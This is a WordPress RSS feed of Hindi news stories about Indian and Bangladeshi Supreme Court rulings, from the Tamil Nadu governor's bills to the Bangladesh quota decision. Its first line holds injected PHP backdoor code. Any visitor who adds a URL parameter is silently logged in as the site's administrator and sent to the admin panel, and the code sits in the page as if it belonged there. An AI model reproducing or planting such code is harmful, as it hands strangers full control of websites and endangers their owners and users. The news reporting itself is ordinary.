// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The Supreme Court – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 08 Apr 2025 17:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सुप्रीम कोर्ट ने बताया तमिलनाडु के राज्यपाल द्वारा 10 व‍िधेयकों को राष्ट्रपति की मंजूरी के लिए लंब‍ित रखने का फैसला अवैध https://pratyushaashakinayikiran.com/?p=147264 Tue, 08 Apr 2025 17:25:00 +0000 https://pratyushaashakinayikiran.com/?p=147264 नई दिल्ली
उच्चतम न्यायालय ने मंगलवार को तमिलनाडु के राज्यपाल आरएन रवि द्वारा 2023 में 10 विधेयकों को राष्ट्रपति की मंजूरी के लिए आरक्षित रखने के कदम को अवैध और गलत करार दिया। न्यायमूर्ति जे.बी. पारदीवाला और न्यायमूर्ति आर. महादेवन की पीठ ने फैसला सुनाया कि विधानसभा द्वारा दोबारा पारित क‍िसी व‍िधेयक को राष्ट्रपति के लिए आरक्षित रखने का अध‍िकार राज्यपाल के पास नहीं है।

फैसले में कहा गया क‍ि राज्यपाल द्वारा 10 विधेयकों को राष्ट्रपति की स्वीकृति के लिए आरक्षित रखना अवैध है, इसलिए इसे रद्द किया जाना चाहिए। सर्वोच्च न्यायालय ने कहा कि राज्यपाल ने सद्भावनापूर्वक कार्य नहीं किया। विधेयकों को उसी दिन राज्यपाल द्वारा स्वीकृत मान लिया गया था, जिस दिन उन्हें पुनः उनके समक्ष प्रस्तुत किया गया था। सर्वोच्च न्यायालय ने कहा कि राज्यपाल के पास विधेयक को रोकने की कोई गुंजाइश नहीं है, साथ ही कहा कि संविधान के अनुच्छेद 200 के तहत राज्यपाल के पास कोई विवेकाधिकार नहीं है। उन्हें अनिवार्य रूप से मुख्यमंत्री और उनके मंत्रिपरिषद की सहायता और सलाह पर काम करना होता है।

इस वर्ष फरवरी में सर्वोच्च न्यायालय ने केंद्र सरकार के शीर्ष विधि अधिकारी अटॉर्नी जनरल (एजी) आर. वेंकटरमणी और तमिलनाडु सरकार की ओर से पेश वरिष्ठ अधिवक्ता अभिषेक मनु सिंघवी और मुकुल रोहतगी की दलीलें सुनने के बाद मामले में अपना फैसला सुरक्षित रख लिया था। तमिलनाडु सरकार ने सुप्रीम कोर्ट में एक रिट याचिका दायर की थी, जिसमें दावा किया गया था कि राज्यपाल ने खुद को वैध रूप से निर्वाचित राज्य सरकार के "राजनीतिक प्रतिद्वंद्वी" के रूप में पेश किया है। तमिलनाडु सरकार की याचिका पर सुप्रीम कोर्ट द्वारा नोटिस जारी किए जाने के बाद राज्यपाल ने अपने पास लंबित 12 में से 10 विधेयकों को उनकी सहमति के लिए वापस कर दिया था।

सर्वोच्च न्यायालय ने कहा था, "यदि राज्यपाल को प्रथम दृष्टया लगता है कि विधेयक में कुछ खामियां हैं, तो क्या उन्हें इसे राज्य सरकार के संज्ञान में नहीं लाना चाहिए? सरकार से यह कैसे उम्मीद की जा सकती है कि वह राज्यपाल के मन में क्या है, यह जान सके? यदि राज्यपाल को व‍िधेयक में कुछ खामियां परेशान कर रही थीं, तो राज्यपाल को इसे तुरंत सरकार के संज्ञान में लाना चाहिए था और विधानसभा को विधेयक पर पुनर्विचार करना चाहिए था।" पिछले साल नवंबर में, शीर्ष अदालत ने तमिलनाडु के राज्यपाल आरएन रवि द्वारा राज्य विधानमंडल द्वारा पारित विधेयकों को मंजूरी देने में देरी पर सवाल उठाए थे।

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सुप्रीम कोर्ट ने एक अहम कदम उठाया, सेवानिवृत्त जजों को एडहॉक जज के रूप में नियुक्त करने की सिफारिश कर सकते हैं https://pratyushaashakinayikiran.com/?p=127139 Thu, 30 Jan 2025 20:55:00 +0000 https://pratyushaashakinayikiran.com/?p=127139 नई दिल्ली
देशभर के हाई कोर्ट में लंबित पड़े आपराधिक मामलों से निपटने के लिए सुप्रीम कोर्ट ने एक अहम कदम उठाया है। जिसके मद्देनजर अब सभी हाई कोर्ट को यह अधिकार मिल गया है कि वे सेवानिवृत्त जजों को एडहॉक (अस्थायी) जज के रूप में नियुक्त करने की सिफारिश कर सकते हैं।

इससे पहले, अप्रैल 2021 में सुप्रीम कोर्ट ने एक आदेश में कहा था कि सिर्फ उन्हीं हाई कोर्ट में एडहॉक जजों की नियुक्ति की जा सकती है जहां रिक्तियों की संख्या 20% से कम हो। लेकिन अब मुख्य न्यायाधीश संजीव खन्ना की अध्यक्षता वाली तीन जजों की पीठ ने इस शर्त को हटाते हुए उस आदेश के प्रभाव को अस्थायी रूप से स्थिगत कर दिया है। इस खास पहल से हाई कोर्ट में लंबित पड़े आपराधिक मामलों की संख्या को कम किया जा सकता है।

बार एंड बेंच की रिपोर्ट के मुताबिक, 2021 में सुप्रीम कोर्ट ने लोक प्रहरी बनाम भारत सरकार मामले में फैसला सुनाते हुए पहली बार हाई कोर्ट में एडहॉक जजों की नियुक्ति की अनुमति दी थी। हालांकि, कोर्ट ने यह भी साफ कर दिया था कि यह एक नियमित प्रक्रिया नहीं होनी चाहिए और नियमित नियुक्तियों का स्थान एडहॉक जज नहीं ले सकते।

तत्कालीन फैसले में कुछ शर्तें तय की गई थीं, जिनमें हाई कोर्ट में अगर 20% से अधिक पद खाली हैं, तभी एडहॉक जजों की नियुक्ति हो सकती है। लेकिन अब सुप्रीम कोर्ट ने 20% रिक्ति की शर्त को हटा दिया है, जिससे हाई कोर्ट को अधिक लचीलापन मिल गया है और वे अपराध मामलों के निपटारे के लिए अधिक सेवानिवृत्त जजों को अस्थायी रूप से नियुक्त कर सकते हैं।

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सुप्रीम कोर्ट ने कहा- यह ‘दयनीय’ है कि हाई कोर्ट के कुछ सेवानिवृत्त न्यायाधीशों को 10 से 15 हजार रुपये पेंशन मिल रही https://pratyushaashakinayikiran.com/?p=111245 Wed, 18 Dec 2024 19:38:00 +0000 https://pratyushaashakinayikiran.com/?p=111245 नई दिल्ली
सुप्रीम कोर्ट ने बुधवार को कहा कि यह 'दयनीय' है कि उच्च न्यायालय के कुछ सेवानिवृत्त न्यायाधीशों को 10 से 15 हजार रुपये पेंशन मिल रही है। जस्टिस बीआर गवई और जस्टिस के.वी. विश्वनाथन की पीठ ने कहा, 'आप हर मामले में कानूनी दृष्टिकोण नहीं अपना सकते। कभी-कभी आपको मानवीय दृष्टिकोण अपनाने की जरूरत होती है।'

उच्च न्यायालय के कुछ सेवानिवृत्त न्यायाधीशों को 10,000 से 15,000 रुपये के बीच पेंशन मिलने की बात पर गौर करते हुए पीठ ने कहा, 'यह दयनीय है।' उच्च न्यायालय के सेवानिवृत्त न्यायाधीशों की पेंशन से संबंधित एक याचिका बुधवार को पीठ के समक्ष सुनवाई के लिए सूचीबद्ध थी। अटॉर्नी जनरल आर. वेंकटरमणी ने पीठ के समक्ष मामले का उल्लेख किया और अनुरोध किया कि इस पर जनवरी में सुनवाई की जाए।

वेंकटरमणी ने कहा कि सरकार इस मुद्दे को सुलझाने का प्रयास करेगी। पीठ ने कहा, 'बेहतर होगा कि आप उन्हें (सरकार को) समझाएं कि (इस मामले में) हमारे हस्तक्षेप से बचा जाए तो बेहतर है।' पीठ ने कहा कि मामले का फैसला व्यक्तिगत मामलों के आधार पर नहीं किया जाएगा और शीर्ष अदालत जो भी आदेश देगी, वह सभी उच्च न्यायालय के न्यायाधीशों पर लागू होगा।

पीठ ने मामले की अगली सुनवाई के लिए आठ जनवरी की तारीख तय की। पिछले महीने इस मामले में एक याचिका पर सुनवाई करते हुए शीर्ष अदालत ने इस बात पर आश्चर्य व्यक्त किया था कि उच्च न्यायालय के कुछ सेवानिवृत्त न्यायाधीशों को 6,000 से 15,000 रुपये के बीच मामूली पेंशन मिल रही है। पीठ उच्च न्यायालय के एक सेवानिवृत्त न्यायाधीश द्वारा दायर याचिका पर सुनवाई कर रही थी। न्यायाधीश ने कहा था कि उन्हें 15,000 रुपये पेंशन मिल रही है।

याचिकाकर्ता, जिला अदालत में 13 साल तक न्यायिक अधिकारी के रूप में सेवा देने के बाद इलाहाबाद उच्च न्यायालय के न्यायाधीश के रूप में पदोन्नत किए गए थे। उन्होंने दावा किया कि अधिकारियों ने पेंशन की गणना करते समय उनकी न्यायिक सेवा पर विचार करने से इनकार कर दिया था। पीठ ने कहा था, 'हमारे सामने उच्च न्यायालय के सेवानिवृत्त न्यायाधीश हैं, जिन्हें 6,000 रुपये और 15,000 रुपये पेंशन मिल रही है, जो चौंकाने वाला है। ऐसा कैसे हो सकता है?'

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सुप्रीम कोर्ट ने पुलिस से दिल्ली में पटाखों की बिक्री और फोड़ने पर रोक लगाने के लिए तत्काल कार्रवाई करने की मांग की https://pratyushaashakinayikiran.com/?p=97152 Mon, 11 Nov 2024 19:38:00 +0000 https://pratyushaashakinayikiran.com/?p=97152 नई दिल्ली
सुप्रीम कोर्ट ने दिल्ली पुलिस से राष्ट्रीय राजधानी दिल्ली में पटाखों की बिक्री और फोड़ने पर रोक लगाने के लिए तत्काल कार्रवाई करने की मांग की है। उन्होंने कहा कि यह मौजूदा समय में पटाखों के प्रतिबंध का खुला उल्लंघन करते हुए एक वार्षिक गतिविधि है। यहां तक ​​कि दिवाली के कई दिनों बाद भी, न्यायालय ने सख्त टिप्पणी करते हुए कहा कि कोई भी धर्म प्रदूषण को बढ़ावा नहीं देता।

पटाखे फोड़ने से हो रहा मौलिक अधिकारों का हनन
दिल्ली के वार्षिक वायु गुणवत्ता संकट पर एक मामले की सुनवाई के दौरान न्यायमूर्ति अभय एस ओका और न्यायमूर्ति अगस्टिन जॉर्ज मसीह की पीठ ने कहा कि कोई भी धर्म ऐसी किसी भी गतिविधि को प्रोत्साहित नहीं करता है जो प्रदूषण पैदा करती है। अगर इस तरह से पटाखे फोड़ें जाते हैं तो यह नागरिकों के स्वास्थ्य के मौलिक अधिकार को भी प्रभावित करता है।

पटाखों पर प्रतिबंध के लिए बनाए स्पेशल सेल
अदालत ने पटाखों पर प्रतिबंध को लेकर दिल्ली पुलिस को फटकार लगाते हुए कहा कि आपने जो किया वह महज दिखावा है। आपने केवल कच्चा माल जब्त किया है। अदालत ने कहा कि जितनी सख्ती से पटाखों पर प्रतिबंध होना चाहिए था, उतनी गंभीरता से नहीं हुआ है। सुप्रीम कोर्ट ने दिल्ली पुलिस आयुक्त को पटाखों पर प्रतिबंध को अमल में लाने के लिए स्पेशल सेल बनाने का निर्देश दिया है।

25 नवंबर तक पटाखों पर पूर्ण प्रतिबंध लगाने की रखी मांग
अदालत ने दिल्ली सरकार से 25 नवंबर तक पटाखों पर पूरी तरह से प्रतिबंध लगाने की मांग की है। पटाखे फोड़ने के बाद उनसे निकले जहरीले कैमिकल के कण बादलों की चादर पर बिखर जाते हैं। इससे लोगों को सांस लेने में समस्याएं होती हैं और भी अन्य तरह के स्वास्थ्य संबंधी गंभीर प्रभाव पड़ते हैं। राजधानी दिल्ली में बीते सात दिनों से कई इलाकों में एक्यूआई का लेवल 400 के आस-पास बना हुआ है। इससे लोगों को गंभीर स्वास्थ्य समस्याओं के होने का खतरा बना हुआ है।

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देश की सर्वोच्च अदालत ने 4-1 की बहुमत से फैसला सुनाया, संवैधानिक है नागरिकता अधिनियम https://pratyushaashakinayikiran.com/?p=86083 Thu, 17 Oct 2024 19:38:00 +0000 https://pratyushaashakinayikiran.com/?p=86083 नई दिल्ली
सुप्रीम कोर्ट की पांच जजों की संविधान पीठ ने असम समझौते को आगे बढ़ाने के लिए 1985 में संशोधन के माध्यम से नागरिकता अधिनियम की धारा 6ए की संवैधानिक वैधता को बरकरार रखा। देश की सर्वोच्च अदालत ने 4-1 की बहुमत से फैसला सुनाया। संविधान पीठ ने नागरिकता अधिनियम की धारा 6ए की वैधता की पुष्टि की है। इसके तहत 1 जनवरी, 1966 और 25 मार्च, 1971 के बीच असम में प्रवेश करने वाले अवैध अप्रवासियों को नागरिकता का लाभ दिया गया था। आपको बता दें कि इनमें से अधिकतर बांग्लादेश से थे।

सीजेआई धनंजय वाई चंद्रचूड़, जस्टिस सूर्यकांत, एमएम सुद्रेश और मनोज मिश्रा की पीठ ने इसके पक्ष में फैसला सुनाया। वहीं, जस्टिस जेबी पारदीवाला ने इस प्रावधान को असंवैधानिक करार देते हुए इसे भविष्य में प्रभावी माना। जस्टिस जेबी पारदीवाला ने सीजेआई डीवाई चंद्रचूड़, जस्टिस सूर्यकांत, एमएम सुद्रेश और मनोज मिश्रा की बहुमत की राय से असहमति जताई।

यह आदेश उस याचिका पर आया जिसमें कहा गया था कि बांग्लादेश (तब पूर्वी पाकिस्तान) से शरणार्थियों के आने से असम के जनसांख्यिकीय संतुलन पर असर पड़ा है। इसमें कहा गया था कि नागरिकता अधिनियम की धारा 6ए राज्य के मूल निवासियों के राजनीतिक और सांस्कृतिक अधिकारों का उल्लंघन करती है।

बहुमत का फैसला पढ़ते हुए मुख्य न्यायाधीश ने कहा कि धारा 6ए का अधिनियमन असम के समक्ष उपस्थित एक अनूठी समस्या का राजनीतिक समाधान है। बांग्लादेश के निर्माण के बाद राज्य में अवैध प्रवासियों के बड़े पैमाने पर प्रवेश ने इसकी संस्कृति और जनसांख्यिकी को गंभीर रूप से खतरे में डाल दिया था।

मुख्य न्यायाधीश ने कहा, "केंद्र सरकार इस अधिनियम को अन्य क्षेत्रों में भी लागू कर सकती थी, लेकिन उसने ऐसा नहीं किया। यह असम के लिए खास बना था। असम में आने वाले प्रवासियों की संख्या और संस्कृति आदि पर उनका प्रभाव असम में अधिक है। असम में 40 लाख प्रवासियों का प्रभाव पश्चिम बंगाल के 57 लाख से अधिक है, क्योंकि असम का क्षेत्रफल पश्चिम बंगाल से कम है।"

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सुप्रीम कोर्ट ने उसके आदेश की अनदेखी करने को लेकर पंजाब और हरियाणा हाईकोर्ट को कड़ी फटकार लगाई https://pratyushaashakinayikiran.com/?p=69654 Thu, 12 Sep 2024 20:59:00 +0000 https://pratyushaashakinayikiran.com/?p=69654 नई दिल्ली
सुप्रीम कोर्ट ने उसके आदेश की अनदेखी करने को लेकर पंजाब और हरियाणा हाईकोर्ट को कड़ी फटकार लगाई। शीर्ष अदालत ने कहा कि जब उसने एक बार आदेश दे दिया तो फिर उसी के मुताबिक सबकुछ होना चाहिए था लेकिन ऐसा नहीं हुआ। मामला एक एक्स्ट्रा मैरिटल अफेयर केस से जुड़ा है। पंजाब और हरियाणा हाईकोर्ट ने दो न्यायिक अधिकारियों को 2009 में उनके खिलाफ कथित विवाहेत्तर संबंध (एक्स्ट्रा मैरिटल अफेयर) के आरोपों पर सेवा से बर्खास्त कर दिया था। ये आरोप पुरुष अधिकारी की पत्नी द्वारा लगाए गए थे। हालांकि, उच्च न्यायालय ने महिला न्यायिक अधिकारी को आरोपों से बरी कर पुनः सेवा में बहाल कर दिया, जबकि पुरुष अधिकारी की याचिका खारिज कर दी गई थी।

दरअसल महिला और पुरुष दोनों अधिकारियों ने अपनी सेवाओं की बर्खास्तगी को उच्च न्यायालय में चुनौती दी थी। 25 अक्टूबर 2018 को, उच्च न्यायालय ने पुरुष अधिकारी की याचिका खारिज कर दी, जबकि एक दिन बाद, उसी पीठ ने महिला अधिकारी को बहाल करने का आदेश दिया। न्यायालय ने कहा कि उनके खिलाफ लगाए गए विवाहेत्तर संबंधों के आरोप का कोई ठोस सबूत नहीं है।

रिपोर्ट के मुताबिक, पंजाब और हरियाणा उच्च न्यायालय ने महिला अधिकारी की पुनः नियुक्ति के खिलाफ सर्वोच्च न्यायालय में अपील की थी, लेकिन सुप्रीम कोर्ट ने यह अपील खारिज कर दी। इस निर्णय के बाद महिला अधिकारी को सेवा में फिर से बहाल कर दिया गया। इसके बाद, पुरुष अधिकारी ने भी सुप्रीम कोर्ट का दरवाजा खटखटाया। उनका तर्क था कि यदि उनके और महिला अधिकारी के बीच कथित संबंधों का कोई प्रमाण नहीं है, तो उन्हें भी पुनः सेवा में बहाल किया जाना चाहिए। 20 अप्रैल 2022 को सुप्रीम कोर्ट ने उच्च न्यायालय के 25 अक्टूबर 2018 के आदेश को रद्द कर दिया और पंजाब सरकार के 17 दिसंबर 2009 के बर्खास्तगी आदेश को भी खारिज कर दिया।

सुप्रीम कोर्ट ने पंजाब और हरियाणा उच्च न्यायालय की पूर्ण पीठ से इस मामले पर पुनर्विचार करने का अनुरोध किया। हालांकि, सुप्रीम कोर्ट के आदेश के बावजूद, 3 अगस्त 2023 को उच्च न्यायालय ने अपने 2009 के निर्णय को फिर से दोहराया और पंजाब सरकार ने 2 अप्रैल 2024 को नए सिरे से पुरुष अधिकारी की सेवाओं को समाप्त करने का आदेश जारी किया। इस पर सुप्रीम कोर्ट के जस्टिस विक्रम नाथ और प्रसन्ना बी वराले की पीठ ने कहा कि जब एक बार बर्खास्तगी का आदेश रद्द कर दिया गया और उच्च न्यायालय द्वारा उस बर्खास्तगी आदेश को चुनौती देने वाली याचिका को खारिज करने वाले फैसले को भी सुप्रीम कोर्ट द्वारा रद्द कर दिया गया, तो इसका स्वाभाविक परिणाम यह होना चाहिए कि कर्मचारी को सेवा में वापस लिया जाए और फिर आगे की कार्यवाही निर्देशानुसार की जाए। लेकिन ऐसा नहीं हुआ।

जस्टिस नाथ ने कहा, "हमें उच्च न्यायालय और राज्य की इस हरकत में कोई औचित्य नहीं दिखता कि उन्होंने 20 अप्रैल 2022 के आदेश के बाद अपीलकर्ता (पुरुष न्यायिक अधिकारी) को सेवा में वापस नहीं लिया।" कोर्ट ने यह भी कहा कि किसी भी स्थिति में, अपीलकर्ता को (20 अप्रैल 2022 से लेकर 2 अप्रैल 2024, जब नया बर्खास्तगी आदेश जारी किया गया) तक के वेतन का पूरा हक है। इस अवधि के लिए उसे सभी लाभों के साथ पूर्ण वेतन दिया जाएगा।" सुप्रीम कोर्ट ने यह भी निर्देश दिया कि 18 दिसंबर 2009, जब उसकी सेवाएं समाप्त की गई थीं, तब से लेकर 19 अप्रैल 2022 तक, जब उसकी अपील सुप्रीम कोर्ट द्वारा स्वीकृत की गई, उस अवधि के लिए राज्य सरकार 50% बकाया वेतन का भुगतान करे। इस अवधि के लिए भी उसे सेवा में निरंतर मानते हुए बकाया वेतन का भुगतान किया जाएगा।

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हिंसा के बीच सुप्रीम कोर्ट ने बड़ा फैसला सुनाया, सरकारी नौकरियों में नहीं मिलेगा आरक्षण https://pratyushaashakinayikiran.com/?p=53436 Sun, 21 Jul 2024 18:06:00 +0000 https://pratyushaashakinayikiran.com/?p=53436 ढाका
बांग्लादेश में आरक्षण को लेकर हिंसा के बीच सुप्रीम कोर्ट ने बड़ा फैसला सुनाया  है। बांग्लादेश के सुप्रीम कोर्ट ने सरकारी नौकरी में ज्यादातर आरक्षण खत्म कर दिया है। सुप्रीम कोर्ट ने निचली अदालत के आरक्षण के बरकरार रखने के फैसले को रद्द कर दिया और 93 फीसदी नौकरियों को मेरिट पर आधारित करने का आदेश दिया है। अब 1971 के युद्ध में शामिल होने वालों के परिवारवालों को केवल पांच फीसदी आरक्षण दिया जाएगा।

योग्यता के आधार पर मिले नौकरी
हाई कोर्ट के फैसले को पलटते हुए सुप्रीम कोर्ट ने कहा है कि लगभग सभी सरकारी नौकरियों को योग्यता के आधार पर दिया जाना चाहिए। बता दें कि बांग्लादेश में आरक्षण सुधारों को लेकर कई दिनों से झड़प हो रही थीं जिनमें कम से कम 133 लोगों की जान जा चुकी है और हजारों लोग घायल हो चुके हैं। हिंसा को देखते हुए पूरे देश में हसीना सरकार ने कर्फ्यू लगा दिया था। सुप्रीम कोर्ट में सुनवाई के दौरान छात्रों की ओर से पांच वकीलों को तर्क रखने की इजाजत दी गई थी। इस सुनवाई में शामिल हुए कुल 9वकीलों में से आठ ने हाई कोर्ट के फैसले को पलटने की बात कही। केवल एक वकील ने ही आरक्षण की वकालत की। बता दें कि बांग्लादेश में आरक्षम सुधार के बाद एक तिहाई सरकारी नौकरियों को 1971 के युद्ध में भाग लेने वालों के परिवार वालों के लिए आरक्षित कर दिया गया था। अब सुप्रीम कोर्ट ने कहा है कि केवल स्वतंत्रता संग्राम सेनानियों के परिवार वालों के लिए केवल 5 फीसदी सीटें आरक्षित की जा सकती हैं।

बांग्लादेश का सुप्रीम कोर्ट हाल ही में किए गए आरक्षण सुधारों की वैधता पर अगले महीने सुनवाई करने वाला था। हालांकि बिगड़ते माहौल और हिंसा को देखते हुए कोर्ट ने मामले की अर्जेंट सुनवाई की। इस केस में शामिल एक वकील ने एएफपी को बताया कि कोर्ट ने कहा है कि प्रदर्शनकारी छात्र अब अपनी क्लास को लौटें और पढ़ाई करें। इस आदेश के बाद आरक्षण 56 फीसदी से घटकर केवल सात फीसदी हो जाएगा। पहले 1971 के युद्ध में भाग लेने वालों के परिवार वालों को 30 फीसदी आरक्षण दिया जाना था जो कि अब केवल पांच फीसदी रह जाएगा। एक फीसदी आरक्षण आदिवासीयिों के लिए और एक फीसदी दिव्यांगों और ट्रांसजेंडर के लिए रह जाएगा। इस तरह से बांग्लादेश में सरकारी नौकिरियों में आरक्षण  लगभग खत्म हो जाएगा। 93 फीसदी नौकरियां मेरिट के आधार पर ही दी जाएंगी।

 

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